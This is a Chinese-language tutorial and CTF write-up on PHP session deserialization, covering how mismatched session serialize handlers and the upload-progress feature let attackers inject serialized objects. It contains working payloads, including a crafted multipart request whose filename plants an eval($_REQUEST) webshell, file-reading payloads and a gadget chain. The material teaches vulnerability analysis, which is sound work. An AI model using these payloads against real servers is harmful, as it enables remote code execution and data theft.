PHP session反序列化

先来了解一下关于`session`的一些基础知识

什么是session

在计算机中，尤其是在网络应用中，称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样，当用户在应用程序的 Web 页之间跳转时，存储在 Session 对象中的变量将不会丢失，而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时，如果该用户还没有会话，则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后，服务器将终止该会话。

session是如何起作用的

当第一次访问网站时，Seesion_start()函数就会创建一个唯一的Session ID，并自动通过HTTP的响应头，将这个Session ID保存到客户端Cookie中。同时，也在服务器端创建一个以Session ID命名的文件，用于保存这个用户的会话信息。当同一个用户再次访问这个网站时，也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来，这时Session_start()函数就不会再去分配一个新的Session ID，而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件，将这之前为这个用户保存的会话信息读出，在当前脚本中应用，达到跟踪这个用户的目的。

session_start()函数以及该函数所起的作用：

当会话自动开始或者通过 session_start() 手动开始的时候， PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据（即session文件）， PHP 会自动反序列化session文件的内容，并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据，则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID，则创建一个由32个字母组成的PHPSESSID，并返回set-cookie。

session存储机制

php中的session中的内容并不是放在内存中的，而是以文件的方式来存储的，存储方式就是由配置项session.save_handler来进行确定的，默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的，文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp，默认配置为：

session.save_path="D:\xampp\tmp"

session.save_handler=files

session.auto_start=0

session.serialize_handler=php

在默认配置的情况下：

最后的session的存储和显示如下：

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2，而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2，文件的内容是name|s:6:"spoock"; 。name是键值，s:6:"spoock";是serialize("spoock")的结果。

了解了有关session的概念后，还需要了解php.ini中一些Session配置：

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中，上述的配置项的设置如下：

session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下

session.save_handler=files 表明session是以文件的方式来进行存储的

session.auto_start=0 表明默认不启动session

session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中，session.serialize_handler是用来设置session的序列话引擎的，除了默认的PHP引擎之外，还存在其他引擎，不同的引擎所对应的session的存储方式不相同。想要知道为什么为出现这个session反序列化漏洞，就需要了解session机制中对序列化是如何处理的。

在php中session有三种序列化的方式，分别是php_serialize, php_binary和php

这个便是在相应的处理器处理下，session所存储的格式，这里举个例子来了解一下在不同的处理器下，session所储存的格式有什么不一样(测试的时候php版本一定要大于5.5.4，不然session写不进文件))：

比如这里我get进去一个值为shy,查看一下各个存储格式：

这有什么问题，其实PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。如：使用不同处理器来处理session文件。

使用不同的引擎来处理session文件

php引擎的存储格式是键名 | serialized_string，而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。

先以php_serialize的格式存储，从客户端接收参数并存入session变量

(1.php)

接下来使用php处理器读取session文件
(2.php)

攻击思路：
首先访问1.php，在传入的参数最开始加一个'|'，由于1.php是使用php_serialize处理器处理，因此只会把'|'当做一个正常的字符。然后访问2.php，由于用的是php处理器，因此遇到'|'时会将之看做键名与值的分割符，从而造成了歧义，导致其在解析session文件时直接对'|'后的值进行反序列化处理。

这里可能会有一个小疑问，为什么在解析session文件时直接对'|'后的值进行反序列化处理，这也是处理器的功能？这个其实是因为session_start()这个函数，可以看下官方说明：

首先生成一个payload：

攻击思路中说到了因为不同的引擎会对'|'，产生歧义，所以在传参时在payload前加个'|'，作为a参数，访问1.php,查看一下本地session文件，发现payload已经存入到session文件

访问一下2.php看看会有什么结果

成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。但这种方法是在可以对session的进行赋值的，那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用

没有$_SESSION变量赋值

在PHP中还存在一个upload_process机制，即自动在$_SESSION中创建一个键值对，值中刚好存在用户可控的部分，可以看下官方描述的，这个功能在文件上传的过程中利用session实时返回上传的进度。在session.upload_process.enabled开启时会启用这个功能，在php.ini中会默认启用这个功能。

上传文件时，如果 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的变量，就可以将 filename 的值赋值到session 中，filename 的值如果包含双引号，还需要进行转义，上传的页面的写法如下：

<form action="http://example.com/index.php" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />

      <input type="file" name="file" />

      <input type="submit" />

  </form>

最后 Session 就会保存上传的文件名。如果没有提供写入 Session 的地方，可以用这种方法。POST 请求的数据包：

POST / HTTP/1.1

  Host: web.jarvisoj.com:32784

  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypN9LkEc0KCMj7TfC

  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3208.0 Safari/537.36

  Cookie: PHPSESSID=jfdu23je5jlu43sfgc3akp3037

  Content-Length: 302

  ------WebKitFormBoundarypN9LkEc0KCMj7TfC

  Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

  123

  ------WebKitFormBoundarypN9LkEc0KCMj7TfC

  Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"echo \"waterfood\"; eval($_REQUEST[\"v\"]);\";}"

  Content-Type: text/plain

  123

  ------WebKitFormBoundarypN9LkEc0KCMj7TfC--

这种攻击方法与上一部分基本相同，不过这里需要先上传文件，同时POST一个与session.upload_process.name的同名变量（默认为PHP_SESSION_UPLOAD_PROGRESS）。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件，从中取出这个键。所以攻击点还是跟上一部分一模一样，程序还是使用了不同的session处理引擎。

举个栗子：

当我们随便传入一个值时，便会触发__construct()魔法函数，从而出现phpinfo页面，在phpinfo页面发现

可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器，而程序使用的却是 php 处理器，而且开头 第4行 使用了 session_start() 函数，那么我们就可以利用 session.upload_progress.enabled 来伪造 session ，然后在 PHP 反序列化 session 文件时，还原 OowoO 类，最终执行 eval 函数。

通过POST方法来构造数据传入$_SESSION，首先构造POST提交表单

接下来构造序列化payload

将payload改为如下代码：print_r(scandir(dirname(__FILE__)));

#scandir     目录中的文件和目录

#dirname     函数返回路径中的目录部分

#__FILE__   php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中，则返回被包含的文件名

#序列化后的结果   O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义，在双引号前加上\，除此之外还要加上|

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

在这个页面随便上传一个文件，然后抓包修改filename的值

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件，flag肯定在里面，但还有一个问题就是不知道这个路径，路径的问题就需要回到phpinfo页面去查看

$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径，与 $_SERVER['SCRIPT_NAME'] 不同的是，这是服务器端的绝对路径。

既然知道了路径，就继续构造payload即可

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

#file_get_contents() 函数把整个文件读入一个字符串中。

接下来的就还是序列化然后改一下格式传入即可，后面的就不再写了

再举个栗子：

class.php

index.php

通过代码发现，我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境，构造我们需要执行的自定义的函数。如下：

myindex.php

在foo1中的构造函数中定义$varr的值为foo2的实例，在foo2中定义$obj为foo3的实例，在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是：

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端，然后再访问服务器的index.php，最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置，具体为，在上传文件时，如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量，就可以将filename的值赋值到session中，上传的页面的写法如下：

最后就会将文件名写入到session中，具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|